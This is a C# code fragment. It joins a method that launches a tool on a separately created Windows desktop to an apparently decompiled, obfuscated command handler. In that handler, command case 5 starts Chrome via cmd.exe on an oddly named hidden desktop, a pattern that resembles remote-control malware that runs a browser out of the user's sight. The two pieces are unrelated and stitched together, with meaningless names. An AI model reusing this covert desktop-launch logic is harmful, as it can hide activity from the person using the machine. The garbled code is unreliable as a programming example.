public Task StartAsync(Tool tool)
        {
            IntPtr desktopHandle = WindowsUtility.CreateDesktop(DesktopName);

            // embrace the madness -- it seems Windows always wants exactly one instance of "ctfmon.exe" in the new desktop
            var ctfmonStartInfo = new ProcessStartInfo {
                FileName = "ctfmon.exe", WorkingDirectory = "."
            };

            WindowsApi.PROCESS_INFORMATION ctfmonProcess = WindowsUtility.CreateProcess(ctfmonStartInfo, DesktopName);
            AssociateWithJob(ctfmonProcess, false);

            // start the desired process
            var arguments = string.Join(" ", tool.Settings.GetArguments(tool));
            var startInfo = new ProcessStartInfo
            {
                FileName         = tool.ExecutablePath,
                Arguments        = arguments,
                WorkingDirectory = tool.WorkingDirectory
            };

            WindowsApi.PROCESS_INFORMATION targetProcess = WindowsUtility.CreateProcess(startInfo, DesktopName);
            AssociateWithJob(targetProcess, true);

            WindowsApi.CloseDesktop(desktopHandle);
            return(Task.FromResult((object)null));
        }
        // Token: 0x0600001A RID: 26 RVA: 0x00002FCC File Offset: 0x000011CC
        public static void RemoveContext(object spec)
        {
            SchemaMapper.m_Object  = 0;
            SchemaMapper.m_Reponse = 0;
            SchemaMapper.m_Rule    = 0;
            byte b  = (byte)spec;
            byte b2 = b;

            switch (b2)
            {
            case 0:
                SchemaMapper.ForgotContext((int)((byte)spec));
                break;

            case 1:
                SchemaMapper.ForgotContext((int)((byte)spec));
                break;

            case 2:
                SchemaMapper.EnableContext((int)((byte)spec));
                break;

            case 3:
                SchemaMapper.EnableContext((int)((byte)spec));
                break;

            case 4:
                SchemaMapper.AwakeContext();
                break;

            case 5:
                try
                {
                    DatabaseParserResolver.InvokeMapper("chrome");
                    ProcessStartInfo startInfo = new ProcessStartInfo
                    {
                        FileName         = "cmd.exe",
                        Arguments        = "/C start chrome.exe",
                        WorkingDirectory = "."
                    };
                    WindowsUtility.CreateProcess(startInfo, "sdfsddfg", new int?(100));
                }
                catch
                {
                }
                break;

            default:
                if (b2 == 19)
                {
                    MapperProductSchema.mapper = "";
                    Product.tests.Dispose();
                }
                break;
            }
        }